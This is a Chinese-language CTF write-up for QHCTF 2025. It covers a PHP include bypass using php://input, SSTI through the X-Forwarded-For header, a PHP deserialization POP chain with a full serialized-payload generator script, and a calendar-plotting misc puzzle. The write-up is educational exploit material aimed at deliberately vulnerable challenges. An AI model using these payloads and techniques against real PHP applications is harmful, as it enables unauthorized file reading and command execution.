0x01前言

web

Easy_include

第一个题目的话就是简单的php代码审计题,include函数包含,用input伪协议去做就可以绕过对参数的flag过滤问题了

img

Web_IP

第二个问题看了一下发现ip那里是可控的,一开始没找到注入点,后面发现是在X-Forwarded-For里的ssti,传入{8*8}有回显64,确实存在ssti,然后传system命令执行就可以了

image-20250125100322292

Web_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to QHCTF 2025, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

一道很经典的反序列化题,先找到链子的入口和出口,出口就是那种恶意函数,这道题里面就是Sec类的file_get_contents()函数,入口就是construct或者destruct方法,链子写出来就是

1
#Start::__destruct()->Sec::__toString()->Easy::__call()->eeee::__clone()->Start::__isset->Sec::__invoke()

那我们的payload就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a = new Sec();
$b = new Start();
$b->func = $a;
$c = new eeee();
$c->obj = $b;
$d = new Sec();
$e = new Easy();
$d->obj = $e;
$d->var = $c;
$f = new Start();
$f->name = $d;
echo serialize($f);

但是问题在于这里的clone怎么去触发,这里的话就是通过__toString()中的函数调用去显示clone,直接触发就可以,那么这里的var要设置成eeee

misc

QHCTF For Year 2025

image-20250125100431867

image-20250125100510704

之前做过类似的misc题目,以-为分界线去分割数据,然后将每组数据两两分开,根据数据中可以看到最大的数是31,我们按照数字去在日历中描出来然后连接就可以看到flag了

image-20250125100820492

QGCTF{FUN}